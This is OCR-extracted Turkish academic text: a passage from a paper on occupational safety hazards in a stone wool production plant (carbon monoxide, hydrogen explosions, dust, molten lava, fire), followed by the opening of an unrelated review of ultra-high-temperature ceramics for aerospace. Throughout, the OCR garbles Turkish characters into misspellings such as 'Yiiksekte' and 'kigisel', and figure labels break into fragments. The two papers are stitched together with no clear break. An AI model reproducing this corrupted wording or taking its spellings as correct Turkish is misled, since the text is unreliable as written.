9 U-Power Bulls Ayakkabi Cupola Genel Kullanim

10 Emniyet Kemeri Yiiksekte Caligma

11 Lanyard Celik Yiiksekte Calisma

12 Geri Sarimhi Diisiis Durdurucu 2 mt. Yiiksekte Calisma

13 2 A Celik Burunlu Carik Ziyaretgi kisisel koruyucu donanimlart
14 3M 6800 Tam Yiiz Maskesi

15 Barete Takilabilir Kulaklik Optime I Genel kisisel koruyucu donanimlar
16 Ventilli Ince Toz Maskesi Genel kigisel koruyucu donanimlar
17 Siperlik Igin Baret Adaptorii-Plastik Cupola Genel Kullanim

18 Siperlik pc Seffaf 1.8 mm Cupola Genel Kullanim

CUPOLA BOLGESI iSE UYGUN KiSiSEL |
KORUYUCU DONANIMLAR

ISIYA DAYANIKLI
BARET

~BARETE ENTEGRE
KULAKLIK

_~ALTIN ViZOR

- BOYUN KORUYUCU
BASLIK

ISIYA DAYANIKLI IS
KIYAFETI (CEKET)

KEVLAR ELDIVEN

ﬂe‘
& 7

ISIYA DAYANIKLI IS
KIYAFETI (PANTOLON)

ALUMINIZE TOZLUK

iSIYA DAYANIKLI
1S AYAKKABIS|

Sekil 16. Kupola firini iiretim asamasi ise uygun kisisel koruyucu donanimlar (Secilmis Tasyiinii Uretim Tesisi)
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Tasyiinii iiretim tesislerinde ISG acisindan birgok risk ve tehlike bulunmaktadir. Bunlar
asagidaki sekilde listelenebilmektedir:
- Karbonmonoksit zehirlenmesi
- Hidrojen patlamasi
- Tozlu ortam maruziyeti
- Uretim hattinda yiiksek sicakliktaki lavlarin insanlara sigramasi
- Sogutma sistemi arizast

- Yangin riski.

Karbonmonoksit Zehirlenmesi

Kupola ocag1 yani firin1 yaklasik 1500 °C sicakliga sahip inorganik volkanik kayaglarin
ergitildigi bir firin sistemidir. Firin i¢in gerekli 1s1 kdmiirlerin yanmasi ile elde edilmektedir.
Komiirler verimli olarak yanmaz ise karbonmonoksit gazi agiga ¢ikmaktadir. Kupola firininda
yaklasik olarak 10000 — 15000 parts per million (PPM) karbonmonoksit gazi agiga
cikmaktadir.

Firindan ¢ikan bu gaz, havalandirma bacalar1 yardimi ile sogutma baca kulesine
gonderilmektedir. Ancak havalandirma bacalari iyi ¢alismiyorsa ve ocakta kagaklar var ise
karbonmonoksit gazi1 firin disina ¢ikmaktadir. Bu durum ortamda bulunan insanlarin
karbonmonoksit gazini solumalarina ve maruziyet smir degerlerinin asilmasi sonucu
zehirlenmeye hatta 6liime neden olabilmektedir.

Kupola firimina hammadde beslemesi yapilan, firinin st katinda bulunan kapakh
sistemde kapagin tam kapanmamasi sonucu karbonmonoksit gazi yine firmin digina
cikabilmektedir. Hammadde beslemesi yapmak amaci ile iist kata ¢ikan g¢alisanlar gerekli
giivenlik dnlemlerini almazlar ise bu gazdan zehirlenebilmektedirler.

Tesislerde genellikle, kupola firininin bulundugu alanda ve ist katlardaki hammadde
besleme odalarinda sabit halde karbonmonoksit seviyelerini 6l¢en cihazlar bulunmaktadir.
Ayrica izinsiz ve tek olarak higbir personel kupola firmin {ist katlarini ¢ikartilmamaktadir. Ust
katlara ¢ikan personeller yanlarinda mutlaka, yiiksek hassasiyete sahip portatif gaz algilama
cihazi bulundurmak zorundadir. Calisanlar, kupola firin1 ¢alisma alaninda ve firinin st

katlarindaki ¢aligma alaninda gaz maskesi kullanmak zorundadir.

Hidrojen Patlamasi
Kupola firminda inorganik volkanik kayaglarin ergitilmesi sirasinda firinin en alt

kisminda demir birikmektedir. Inorganik volkanik kayaglarin yapisindan kaynakli olarak
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biriken demir diizenli araliklarla kupola firinindan temizlenmektedir. Bu isleme demir alma
“iron tapping” denilmektedir. Kupola firminin dip kisminda biriken demirin alinmasi i¢in bir
kapak bulunmaktadir. Buradaki kapak yardimi ile ergimis hammaddelerin dibinde biriken
demir alinabilmektedir. Demir alma islemi sirasiyla su sekilde yapilmaktadir; demir alma
deligi kontrol edilir, delik ¢evresinde pot yapmis kil (tabaka) var ise spatula ile kazinip delik
ortaya cikarilir. Kil tavasina yeterli miktarda, tepe noktasi konik olacak sekilde yaklagik 20
cm yiiksekliginde kil hazirlanir. Demir alma isleminden once kilin yumusaklig1 ve kuruluk
durumu kontrol edilir. Demir alma islemine az bir zaman kala operator gerekli cevre
giivenligini saglar ve kisisel koruyucu donanim ekipmanlarini giyerek operasyon alanina
gider. Yanma mili hazirlanir. Gaz vanasi agilir. Ergitme ucu sase yapilip ateslenir. Kupola
firin1 altinda bulunan bosaltma noktasina yanma mili ucu ile kuvvet uygulanir. Kuvvet ile
birlikte dairesel hareketler ile delik agzi agilir. Eriyik bir siire pite akitilir. Eriyik akmaya
basladiginda kil kovasi akis merkezine esitlenerek hidrolik tertibat devreye alinip akis agzi
kapatilir. Akis kesilmez ise mekanizma tekrar ¢ikarilip merkezlenmeye ¢alisilir. Kupola firini
basincindan dolay1 kapanmama durumunda firin basinci diistiriiliir.

Firmin alt kismindan demir alma islemi yapilirken, ergimis durumda lav seklindeki
hammaddenin akitildig1 “pit alan1” olarak adlandirilan boliim bulunmaktadir. Bu alan kuru
kum ile kapli bir boliimdiir. Eger bu boliimde bir su birikintisi ya da nemli bir zemin
bulunursa ve yaklasik 1500 °C sicaklikta eriyik halindeki lavlar bu suyun tizerine dokiiliirse
hidrojen patlamasi olabilmektedir. Bu patlama insan saglhigini ve is giivenligini biyiik 6l¢iide
tehdit edebilmektedir.

Bu risk durumu i¢in genellikle alinan 6nlem, pit alani olarak adlandirilan bolimiin kum
ile kapl1 ve stirekli olarak kuru tutulmasidir. Kupola firminin alt katinda demir alma ¢alismasi
yapmadan pit alaninin gerekli kontrolleri yapilmaktadir. Bu alanda calisan personelin, 1siya
dayanikli baret, altin vizor, 1s1ya dayanikli baslik, 1s1ya dayanikli kiyafetler ve 1s1ya dayanikli

ayakkab1 gibi kisisel koruyucu donanimlar1 kullanmasi zorunludur.
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Sekil 17. Kupola firininda yapilan demir alma iglemi

Tozlu Ortam Maruziyeti

Tas ylinli ve cam yiinii insan yapimi mineral lif grubuna girmektedir. Bu malzemelerin
iiretimi, taginmasi, kullanilmasi ve bertaraf edilmesi sirasinda ¢alisanin maruziyet riski ortaya
¢ikmaktadir. Bu malzemelerin iiretiminde calisan personelde havadaki lifsi toz (asbest ve
insan yapimi mineral lifler) konsantrasyonu parametresinde 6l¢iim yapilmasi gerekmektedir
(https://www.csgb.gov.tr/media/89497/cam-tas_yunu-2022-agustos.pdf, 2022).

Inceleme yapilan tagyiinii iiretim tesisinde de tagyiinii tozundan kaynakli havadaki
maruziyet degerleri siirekli olarak, tasinabilir toz 6l¢iim cihazi (partikiil sayim cihazi) ile
Olcililmektedir. Tagyiiniliniin 6l¢iilerinin verildigi kesim hatlarinda siirekli olarak havadaki lifsi
toz konsantrasyonu ol¢limii yapilmaktadir. Sifir atik projesi kapsaminda bu hatta tasyiiniinden
kesilen parcalar tekrar lif ve toz haline getirilerek, geri doniislim hattinda {iretime
katilmaktadir. Geri doniisiim hattinda toz miktarinin daha yogun olmasi sebebi ile havadaki
lifsi toz maruziyet degerleri siirekli 6l¢timlerle kontrol edilmektedir. Tesiste havadaki lifsi toz
maruziyet degerlerinin yliksek oldugu boliimlerde ¢alisanlarin maske kullanmasi zorunludur.

Kullanilan maskelerin belirli araliklarla degistirilmesi gerekmektedir.

Uretim Hattinda Yiiksek Sicakliktaki Lavlarin insanlara Sigcramasi

Kupola firminda ergitilen inorganik volkanik kayaclar lav halinde spinner disk
sisteminin iizerine atilir. Buradaki diskler 8000 devir/dakika hiz ile donmektedir. Spinner
liretim asamasinda yiiksek hizda donen disklerin iizerine dokiilen lavlarin sigrama ihtimali
bulunmaktadir. Yaklasik 1500 °C sicaklikta bulunan lavlar etrafa sigrayarak cevreye ve
calisanlara zarar verebilmektedir. Etrafa sigrayan lavlarla birlikte gaz ve duman aciga

cikmaktadir. A¢iga ¢ikan gaz ve duman da insan sagligina zarar verebilmektedir.
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Bu iiretim asamasinda ¢evre giivenliginin alinmasi gerekmektedir. Bu alanda calisan
personel, yanmaz baret, altin vizor, yliksek sicakliktaki lavlarin iizerinden akip gitmesini
saglayan 1stya dayanikli kiyafet, bagciksiz 6zel iiretilen 1siya dayanikli ayakkabi kullanmak

zorundadir. Kisisel koyucu donanimlarini takmayan ¢alisanlar sahaya girememektedir.

Sogutma Sistemi Arizasi

Tagylinii liretimi yapilirken volkanik kayaclarin ergitildigi firn 1500 — 1600 °C
sicakliga ulasmaktadir. Firinin kendisi ve besleme ile tahliye kapaklari demirden yapilmistir
ve demirin erime noktasi 1538 °C’dir (https://tr.wikipedia.org/wiki/Demir, 2022). Kupola
firm1 demirin erime sicakligina ulasip bu sicakligr gegebildigi i¢in, firinin hammaddesi olan
demir erime sicakligina ulasip eriyebilmektedir. Bu iiretim hatt1 igin biiyiik bir tehlikedir. Bu
sebepten, kupola firin1 ve firinin kapaklar1 sogutma suyu sistemi ile sogutulmaktadir. Bu
sistemin durmasi ya da sogutma suyu sisteminin ¢alismadigi zamanlarda firmin yakilmasi
demirin erime sicakligina ulagmasina ve bu nedenle patlamalara yol acabilmektedir.
Kapaklarin ergimesi ile olusan delik sonrasi firin i¢ basinci sebebi ile patlamalar
olusabilmekte ve firin i¢indeki lavlar disariya sacilabilmektedir. Bu durum ¢evre giivenligini
ve insan sagligini tehdit edebilmektedir.

Tesislerde genellikle, kupola firin1 sogutma suyu sistemi ile suyun devridaimi sayesinde
sogutulmaktadir. Sogutma suyu sistemi dijital ortamda kontrol odasindaki personel ile siirekli
olarak izlenmektedir. Firin i¢ ve dis sicaklig siirekli olarak 6l¢iilmekte ve bu degerler kontrol
odasinda yetkili personeller tarafindan izlenmektedir. Her tiirlii duruma karsi, kupola firini
boliimiinde calisanlar, yanmaz baret, 1siya dayanikli kiyafet, bagciksiz 6zel {iretilen 1s1ya
dayanikli ayakkabi kullanmak zorundadir. Kisisel koyucu donanimlarini takmayan calisanlar

sahaya girememektedir.

Yangin Riski

Yangin tagyiinii iiretim tesisleri i¢in 0nemli risklerden bir tanesidir. Tesisteki liretim
asamalarinda yliksek sicakliklarda ¢aligmalar yapilmaktadir. Bu sicakliklar ve lav halinde
yiiksek sicakliktaki ergimis hammaddeler yangin riskine neden olabilmektedir.

Spinner iinitesinde, kupola firmindan ¢ikan yiiksek sicakliktaki eriyik halindeki lavlar
disklere dokiiliir ve disklerden spinner yardimi ile giiglii fanlar ile c¢ekilerek tambura
tutundurulur. S6z konusu fanlar sogutma sistemi ile sogutulmaz ise yiiksek sicaklik nedeni ile
yangin riski ortaya c¢ikabilir. Ayrica fanlarda filtre sistemleri olmasi veya iyi ¢alismamasi

halinde lav pargalar1 tasyiiniine yapisabilir ya da fanlarin i¢ine girebilir. Bu durum hem
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iirliniin kalitesine zarar vermekte hem de fan i¢inde yangin riskine sebep olabilmektedir. Filtre
sistemleri diizenli olarak temizlenmez ve degismez ise, igeride biriken lavlar ve yanict
kimyasallardan olusan baglayicilar sebebi ile bu kisimlarda yangin riski ortaya
cikabilmektedir.

Kiirleme firmi {initesinde, firin i¢i sicaklik yaklasik 230-250 °C’dir. Bu sicakligin
saglanabilmesi icin firmin iki ucunda sicak hava iifleyen fanlar bulunmaktadir. Firinin
istiinde sicak hava sirkiilasyonunu saglayan davlumbazlar bulunmaktadir. Eger bu
davlumbazlarda ve sicak hava iifleyen fanlarda diizenli temizlik yapilmaz ise kirlilige bagh
olarak yangin riski olabilmektedir.

Tagylinii tiretim tesisinde, kupola firininda ergitilen lavlarin spinner {initesinde lif haline
getirildikten sonra toplayici bant iinitesine serilmesi ile birlikte bir bant sistemi yardimi ile
paketleme asamasina kadar iletilmektedir. Bu bant sistemi hareketli zincirler yardimi ile
ilerlemektedir. Bu zincirlerin belirli periyotlarla yaglanmasi ve temizlenmesi gerekmektedir.
Zincirlerin igerisindeki toz ve kir belirli araliklarla temizlenmez ise yangina sebep
verebilmektedir. Zincir yaginin parlama noktast diisiik ise bu durum da yangin riski

olusturabilmektedir.

Sonugclar

Calisma kapsaminda 1s1 yaliiminda asbestin kullaniminin yasaklanmasi sonrast en
onemli yalittm malzemelerinden biri konumuna gelen tasyiinii liretim agamalar1 detayli olarak
ele alinmis ve bu asamalar ISG agisindan incelenmistir.

Tagytinii {retimi, ¢ok yliksek sicakliklarda iiretim yapilan, inorganik volkanik
kayaglarin eriyik haline getirilmesiyle olusan lavlarin lif haline getirilmesi ve bu liflerin ¢esitli
kimyasal baglayicilar ve belirli bir 1s1 yardimi ile bir araya getirilmesi, sonrasinda istenilen
kalinliga gore ayarlanip istenilen Olgiilerde kesilerek {riiniin elde edilmesi ile
sonug¢lanmaktadir. Tagylinii iretiminde {iretilen iirliniin kaliteli ve hatasiz olmasi i¢in birgok
faktor bulunmaktadir. Bunlarin bir kismi kullanilan hammadde ile ilgilidir ama biiyiik
cogunlugu iiretim tesisinin sahip oldugu iiretim teknolojisi ile ilgilidir.

Tasyiinii iiretimi, ISG agisindan ¢ok tehlikeli sinifta yer alan endiistriyel tesislerde
yapilmakta olup, {iretim asamalarmin her birisi kendi icinde ISG acisindan farkli riskler ve
tehlikeler barindirmaktadir. Bu risklere/tehlikelere gére 6zel 6nlemler alinmalidir. Her iiretim
asamasina gore kullanilan kisisel koruyucu donanimlar ve aliman Onlemler farklilik

gostermektedir. Bu riskler 6nlem alinmaz ise ¢esitli yaralanmalar ile sonuglanabilmektedir.
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Tagylint tiretim tesislerindeki kimyasal risk faktorlerinin en 6nemlisi, karbonmonoksit
zehirlenmesi olup 6ldiiriicii etkisi olan ¢ok dnemli bir risk oldugu ve alinacak 6nlemler ile en
aza indirgenebilecegi goriilmiistiir. Ayrica iiretimde kullanilan kimyasallarin maruziyet sinir
degerlerine dikkat edilmesi ve bu degerlerin ortamda siirekli olarak ol¢iilmesi gerekmektedir.
Uretim sahasinda calisanlarin gerekli kisisel koruyucu donanimlar1 olmadan ¢alismamalari
gerekmektedir.

Tasyiinii iiretim tesislerinde bir¢ok fiziksel risk etmeni de bulunmaktadir. En 6nemli
fiziksel risklerin yiiksek sicaklikta iiretim yapmaktan kaynaklandigi tespit edilmistir. Bu
tesislerde is kazalarmin yagsanmamasi i¢in iiretim asamalarinda gerekli biitiin Onlemlerin
alinmasi ve liretim hattinin yiiksek sicaklikta iiretim yapmaya uygun sekilde tasarlanmasi
gerekmektedir.

Tagyiinii iiretim tesislerinde yasanan is kazalarimin ve is kazasi risklerinin biiyiik
boliimiinlin diizenli kontrollerin yapilmamasindan, diizenli temizligin yapilmamasindan ve
diizenli olarak degistirilmesi gereken parcalarin degistirilmemesinden kaynaklandigi tespit
edilmigtir. Calisanlarin  gerekli giivenlik Onlemlerini almadan ve kisisel koruyucu
donanimlarin1 takmadan sahaya ¢ikmamalar1 gerekmektedir.

Calisma kapsaminda segilen tagyiinii iiretim tesisinde tespit edilen riskler/tehlikeler ve
bunlara kars1 alinan 6nlemler asagida maddeler halinde siralanmustir.

1. Kupola firininda olusabilecek riskler ve tehlikeler; karbonmonoksit zehirlenmesi, hidrojen
patlamasi, sogutma sistemi arizasidir. Bu riskleri ve tehlikeleri 6nlemek igin, diizenli
kontroller yapilmali, tesisteki ISG proseslerine uyulmali ve galisanlarin kisisel koruyucu
donanimlarini kullanmalar1 gerekmektedir.

2. Spinner iiretim agamasinda; iiretime katilan kimyasallarin maruziyet sinir degerlerinin
astlmasi insan sagligi acisindan risk olusturmaktadir. Yiiksek hizlarda donen disklerin
lizerine dokiilen lavlarin insanlarin {izerine sigramasi riski bulunmaktadir. Bu riskler i¢in
alman onlemler ise, ortamdaki kimyasallarin maruziyet degerleri hassas cihazlarla siirekli
Olclilmektedir. Calisanlar, yanmaz baret, altin vizor, iizerinde lav tutmayan yanmaz
kiyafetler, 1s1ya dayanikli ayakkab1 gibi kisisel koruyucu donanimlari giymek zorundadir.

3. Toplayici ve tasiyict bantlarda, sistemi olusturan zincirlerin yaglarindan dolayr yangin riski
bulunmaktadir. Zincirlerin yaglarimin parlama noktas1 diisiik ise ve zincirler belirli
periyotlarla yaglanip temizlenmiyor ise yangin riski ortaya ¢ikabilmektedir.

4. Kiirlestirme {initesinde, spinner iiretim agamasinda iiriine katilan kimyasallarin kimyasal
baglar yaparak inert hale gelmesi saglanir, eger burada kiirlesme tam saglanamaz ise iiriine

katilan kimyasallar insan sagligina zarar verebilmektedir. Ortamda bulunan amonyak
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maruziyet sinir degerleri asildig1 taktirde insan sagligina zararli hale gelebilmektedir. Bu
riskin insan sagligina ve is gilivenligine zarar vermemesi igin, ortamdaki kimyasallarin
maruziyet degerleri Olgiilmektedir, ayrica c¢alisanlarin gaz maskesi kullanmalari
saglanmaktadir.

5. Geri doniislim tinitesinde tozlu ortam maruziyeti riski bulunmaktadir. Sifir atik kapsaminda
tagyliniinden kesilen parcalar lif ve toz haline getirilerek tekrar iiretime katilmaktadir. Tiim
tesiste olusabilecek tozlu ortam maruziyet riskinin bu iretim asamasinda en yliksek
seviyede oldugu tespit edilmistir. Bu boliimde siirekli olarak havadaki tozun maruziyet
degerleri Olgiilmektedir ve ¢alisanlarin maske kullanmalar1 zorunludur, maskeler belirli
araliklarla degistirilmektedir.

Calisma kapsaminda, yalitim amagli kullanilan tagyiinii levhalarin iiretim asamalari
detayli olarak ortaya konulmus ve tesis ISG yoniinden degerlendirilmistir. Uretimin her
asamasi i¢in mevcut riskler ve tehlikeler ortaya konulmaya ¢alisilmistir. Sonraki ¢aligmalarda
bu riskleri 6nlemeye ve tehlike diizeylerini azaltmaya yonelik analizler ve uygulamalar
yapilabilir. Ayrica isletmede fiziksel, kimyasal ve biyolojik risk faktorlerine yonelik dl¢iimler

yapilarak tehlikeler sayisal verilerle ortaya konulabilir.

Not: Bu calismanin 6n bulgular1 08-10 Aralik 2022 tarihlerinde diizenlenen 8th

International Congress on Engineering and Technology Management’ta sunulmustur.
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Yazarlar makaleye esit oranda katki saglamis olduklarini beyan ederler

Cikar Catismasi1 Beyam

Makale yazarlari aralarinda herhangi bir ¢ikar catigmasi olmadigini beyan ederler.
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Bu aragtirma, ileri teknolojik uygulamalarda ultra yiiksek sicaklik
seramiklere (UHTC) artan ilgiyi vurgulamaktadir. UHTC’ler ultra yiiksek
sicaklik seramiklerdir, 1950’lerin sonunda ilgi ¢ekmeye baslamuslardir,
olaganiistii 0zellik ve nitelikleri olan malzemelere duyulan ihtiyacin
artmasiyla da kullanimi da artmaktadir. Ultra yiiksek sicaklik seramiklerin
uzay ve havacilik sektoriindeki uygulamalarinda bu seramiklerin iginde
matris malzemesi olarak boriirlerin kullanilmasi bir hayli yaygindir. Boriirler
ailesinde 6nde gelen grup ise diboriirlerdir. Zirkonyum, titanyum ve
hafniyum dibortirler yiiksek sicaklikta en kararli diboriirlerdir. Havacilik-
uzay sanayii, niikleer sanayi, kesici takimlar, savunma sanayii (kursun
gecirmez malzemeler), 1siya dayanikli kaplama malzemeleri gibi genel
kullanim alanlar1 bulunmakta ve ilerleyen teknolojiyle birlikte gittikce
kullanim alanlar1 artmaktadir. Bu inceleme, bugiine kadar literatlirde rapor
edilen UHTC’lerin uygulamalarina genel bir bakis saglar ve cok yonlii

uygulama alanlarina dikkat ¢cekmektedir.
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This research highlights the growing interest in ultra-high temperature
(UHTC) in advanced technological applications. UHTCs are ultra-high
temperature ceramics, which began to attract attention in the late 1950s, and
their use is increasing as the need for materials with extraordinary properties
and qualities increases. The use of borides as matrix material in these
ceramics is quite common in applications of ultra-high temperature ceramics
in the aerospace and aerospace industries. The leading group in the borides
family is the diborides. Zirconium, titanium, and hafnium diborides are the
most stable diborides at high temperatures. There are general usage areas
such as the aerospace industry, nuclear industry, cutting tools, defense
industry (bullet-proof materials), and heat-resistant coating materials, and
their usage areas are increasing with the advancing technology. This review
provides an overview of the applications of UHTCs reported in the literature
to date and draws attention to their versatile application areas.
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Giris

Teknolojideki hizli degisim ve gelismeler; giivenilirlik, yiiksek performans, hafiflik ve
yiiksek sicakliklarda mukavemetini koruyabilme gibi zorlu ihtiyaglar1 ortaya ¢ikarmaktadir.
Bu ihtiyaglar da olaganiistii 6zellik ve nitelikleri olan malzemelere duyulan gereksinimi
giderek artirmaktadir (Ersan, 2019; Tilbez ve ark., 2019). Bilhassa uzay ve havacilik
sektoriindeki kullanimlar1 nedeniyle seramik malzemelerde, yiiksek sicaklik dayanimi en fazla
istenilen bir 6zelliktir. Gilinlimiiz teknolojisindeki ultra yiliksek sicaklik seramikleri (UHTC)
3000°C iizerinde ergime sicakligina, kimyasal reaktivite ve asindirict ortamlarda
kullanilabilme gibi 6zelliklere sahip 6zel malzemelerdir (AKin ve ark., 2019; Ersan, 2019).

Ultra yiiksek sicaklik seramikleri sentezi 1800°li yillarin sonunda olsa da, bu
malzemelere duyulan teknolojik alaka 1950’lerin sonunda baslamis ve 1960’larda genisleyen
uzay yarislariyla beraber etkin olarak artmigtir. Bu donemde Sovyet Rusya ve ABD roket
motorunda, 1s1 kalkaninda ve yiiksek sicakliga maruz kalan yapisal pargalarda kullanilabilecek
malzeme arayiglarina girmislerdir. Teknolojik sorunlara ¢6ziim arayisi bilim adamlar
onderliginde gerceklesen bir arastirmanin temel motivasyonu olmustur. Ultra yiiksek sicaklik
seramiklerine olan ilgi havacilik ve uzay uygulamalarinda hiicum jeti, hipersonik araglar ve
yiiksek performansli roket motorlarinin gelismesiyle artis gostermistir. Ornegin, ABD Hava
Kuvvetleri ve ABD Ulusal Havacilik ve Uzay Dairesi (NASA), hipersonik ugusta ihtiyag
duyulan teknolojileri test etmek i¢in bu duruma uygun arag¢ tasarlanmislardir (Sekil 1.1). Bu
sistemdeki teknolojik sorunlardan biri, tasarimda kullanilan keskin hiicum kenarlar1 ve
kontrol yilizeylerinde yiiksek sicakliga dayanikli malzeme teknolojisinin yeterli teknolojik
seviyede olmamasidir. Sekil 1’de test ugusu 6ncesinde B-52’nin kanadina monte edilen X-51
ucus araci gostermektedir (Tiilbez ve ark., 2019). X-51 ugus aract en uzun siire hipersonik
ucus rekoruna sahiptir.

Hipersonik hizlarda ucan platformlarin keskin hiicum kenarlari, 2000°C’in istiindeki
sicakliklarla karsilasmaktadir. Ayni zamanda ugus sirasinda parcanin karsilastigi yiiksek
entalpili akis nedeniyle aerodinamik 1sinma meydana gelir. Par¢anin u¢ kismindaki yiiksek
151, i¢ kisimlara 1sil iletim yolu ile ve dis ylizeylerden de 1si1l radyasyonla cevreye
aktarilmaktadir. Bu sayede yalnizca par¢anin ug kisimlari 1sinirken, i¢ kisimlarindaki sicaklik
degerleri alcak kalir. Malzemenin termal iletkenlik degerinin yiiksek olmasi aerodinamik
1sinmanin bir kisminin 1s1l iletim yoluyla i¢ kisimlara iletilebilmesini saglar. Ornegin, hiicum
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kenarlarinda yiiksek termal iletkenlik 6zelliginde par¢anin varligi, kanadin karsilagtigi termal
gradyani diisiiriip stresi azaltmaya yardimeci olur. Uzay araglarindaki manevra yeteneginin
artirilmasi ile yliksek performanslarda calisabilmesi i¢in ince aerodinamik keskin hiicum

kenarlar1 tasarimi hedeflenmistir (Sekil 2.) (Tilbez ve ark., 2019).

Sekil 1. B-52 kanadina monte edilen X-51 ugus araci (Tiilbez ve ark., 2019).

Sekil 2. Kiit ve keskin burun konisi ile hiicum kenar1 (Tiilbez ve ark., 2019).

Hipersonik atmosfere yeniden giris araglarinin hizli gelisimi ile kat1 roket motorunun
burun ucu veya ugagin 6n kenarlari gibi kritik termal yapisal bilesenler, havacilik ile ilgili ve
roket ortaminda yaklasik 2000-3000°C ultra yiiksek sicaklikta oksidasyona ve aginmaya
maruz kalmaktadir (Xu ve ark., 2021). Keskin hiicum kenari malzemelerinin se¢iminde ve
tasariminda; c¢alisma ortam sartlarinda oksidasyon davranisi, termal sok direnci ve
malzemenin termo-fiziksel ozellikleri gibi faktorlerin incelendigi titiz g¢alismalarin

gerceklestirilmesi gereklidir. Bu nedenlerle ileri teknoloji malzemeler gereksinimi hipersonik
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araglarda keskin hiicum kenarlar1 ve burun konisi tasariminda 6ne ¢ikmaktadir. Ultra yiiksek
sicaklik seramikleri, bu ihtiyaci karsilayabilecek malzeme sinifinda yer alirlar. Teknolojinin
zorunlu kildig1 yiiksek sicaklik simmirlarina ¢oziim getiren ultra yiiksek sicaklik seramik
malzeme ve yapilarindaki gelismeler, uzay uygulamalarinda O6nemli sonuglar1 da
getirmektedir (Tilbez ve ark., 2019). Ultra yiiksek sicaklik seramikleri balistik fiizelerin
burun konileri, hipersonik araglarin 6n kenarlari, roket motorlari, uzaya yeniden giris araglari
vb. gibi asir1 ortamlardaki uygulamalar i¢in uygun yiiksek ergime noktasina ve oksidasyon
direncine, yiiksek sicakliklarda termal gerilmelere direnme yetenegine sahiptir (Jia ve ark.,
2021). Ultra yiiksek sicaklik seramikleri, asiri yiiksek sicaklik, kimyasal reaktiflik ve
asindirict yerlerde tercih edilebilen bir malzeme sinifidir. Ultra yiiksek sicaklik seramikler
sozii edilen ortamlarda kararhiliklarini koruyabilirler (Ersan, 2019). Bu seramiklerin sahip
olduklar1 temel Ozellikler yiiksek sertlik, yiiksek 1s1l ve elektriksel iletkenlik, iyi 1s1l sok
dayanimi1 ve kimyasal kararlilik seklinde siralanabilir (Kaya, 2016; Akin ve Kaya, 2017).
Ultra yiiksek sicaklik seramikler 2000 ‘C (Altuncu ve Esen, 2015) ve 3000 °C iizerinde erime
noktasina sahip malzemeler olarak siniflandirilabilirler. Malzeme siniflarindan ¢ok az
malzeme bu kriteri karsilamaktadir. Metaller arasinda yalnizca Renyum (Re), Tungsten (W),
ve Tantal (Ta) elementleri 3000°C iizerindeki sicakliklarda erime noktasina sahip olan
metallerdir (Tiilbez ve ark., 2019).

Zirkonyum (Zr), titanyum (Ti) ve hafniyum (Hf) gibi gecis elementlerinin bortir, karbiir
ve nitriir bilesikleri 3000°C’nin {istlinde erime sicakligina sahip malzemelerdendir. Bu
malzemeler zorlu ¢alisma ortamlarinda yiiksek kimyasal ve termal kararlilik, yiiksek sertlik,
yiilksek mekanik dayanim ve bilhassa boriir bilesikleri igin yiiksek termal iletkenlik
gostermeleri ortak 6zellikleridir (Tiilbez ve ark., 2019).

Ultra yiiksek sicaklik seramik malzemeleri, yiiksek elektrik iletkenligi, yiiksek ergime
sicakligi, yliksek termal iletkenligi ve olaganiistii oksidasyon direncleri, kimyasal inertlik gibi
metallerle kiyaslanmayacak farkli 6zelliklere sahiptir bundan dolay1 da benzersiz miihendislik
ve refrakter 6zellikleri kombinasyonu nedeniyle onlarca yildir ¢alisma alani olusturmustur.
Genel olarak ultra yiiksek sicaklik malzemeleri kullanim amaci, ¢alisma ortami ve sicakligina
bagl olarak secilmektedir (Atasoy ve Demir, 2019; Xia ve ark., 2020).

Bu derlemede, ultra yiiksek sicaklik seramikleri ve uygulama alanlar1 ele alinmistir. Bu
baglamda caligmanin temel amaci ultra yiiksek sicaklik seramiklerini tanimak ve boriirlerden
zitkonyum diboriir ve titanyum diboriirlerin ultra yiliksek sicaklik uygulamalarinda
kullanimini arastirmak ve bu boriirleri ele alacak muhtemel ¢alismalara da referans olmasi

beklenmektedir.
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Materyal ve Metod

Derleme, 22 Nisan 2023 tarihine kadar olan yaymlar i¢in asagidaki veri tabanlarinda
literatiir taramasina dayali olarak hazirlanmistir; Pub Med; Web of Science, ScienceDirect,
Google Scholar ve ResearchGate’den faydalanilmistir. Arama igin kullanilan anahtar
kelimeler; ultra yiiksek sicaklik seramikler veya UHTC ler, boriirler ve/veya termal iletkenlik,
metal dibortir, hipersonik ucus teknolojisi, yliksek ergime sicakligi seklinde siralanabilir.
Aramanin tiim sonuglari ile ilgili bilgiler manuel olarak tarandi ve ilgili olabilecek ek yayinlar
icin referanslar1 da arandi. Ultra yiiksek sicaklik seramikleri hakkinda bilgi vermeyen
seramikler ile ilgili makaleler, ancak bortirler, nitriirler ve karbiirler hakkinda bilgi vermeleri

sartiyla dikkate alinmistir.

Ultra Yiiksek Sicakhik Seramik Malzemeleri

Ultra yiiksek sicaklik seramikleri 3000°C iizerinde ergime sicakligina sahip olan
malzemelerdir ve bu smiftaki malzemeler gegis metallerinin nitriirleri (HfN, ZrN, vb.),
boriirleri (HfBy, ZrB;, TiB2, NbB>, TaB; vb.) ve karbiirleridir (HfC, ZrC, TiC) (Ersan, 2019).
Ultra yiiksek sicaklik seramikleri 6zellikle de refrakter metal karbiirler, nitriirler ve bortirler,
hipersonik ugus teknolojisindeki ilerlemenin anahtaridir (Backman ve ark., 2020). Bu
gruptaki bazi karbiir, boriir ve nitriirlerin ergime sicakliklari, yogunluklari, vickers mikro
sertlik ve kristal yapilar1 ile termal iletkenlik degerleri incelendiginde en yiiksek termal
iletkenlige (60,0 W/m.K, 20°C’de) sahip olan HfB, aym1 zamanda en yiiksek mikrosertlik
degerine (29,0 GPa)’de sahiptir. HfB2’nin kristal yapisi ise hegzagonaldir. Zirkonyum diboriir
ve titanyum diboriiriin termal iletkenliginin ise (24,3 W/m.K, 20°C’de) ayni oldugu ve her
ikisinin de hekzagonal kristal yapisina sahip olmasi dikkat ¢ekicidir.

Ultra yiiksek sicaklik seramikleri genellikle 4. ve 5. grup metal (M:Ta, Ti, Hf, Zr gibi)
elementlerinin oksitli (MO), boriirlii (MB), karbiirlii (MC) ve nitriirlii (MN) bilesiklerinden
meydana gelmektedir (Altuncu ve Esen, 2015).

Metal Boriirler-Metal Diboriirler

Periyodik tabloda gegis metallerinden titanyum, zirkonyum ve hafniyum metallerinin
bulundugu kisim IV B grubu olarak adlandirilir. Bu elementler bor metali ile uygun bir
prosesle etkilestirilmesi sonucu IV B grubuna ait metallerin bortirleri elde edilir. Metallerin
boriirleri ileri teknoloji seramiklerinin mithim bir alt grubudur (Aynibal, 2009). Boriirler, bor
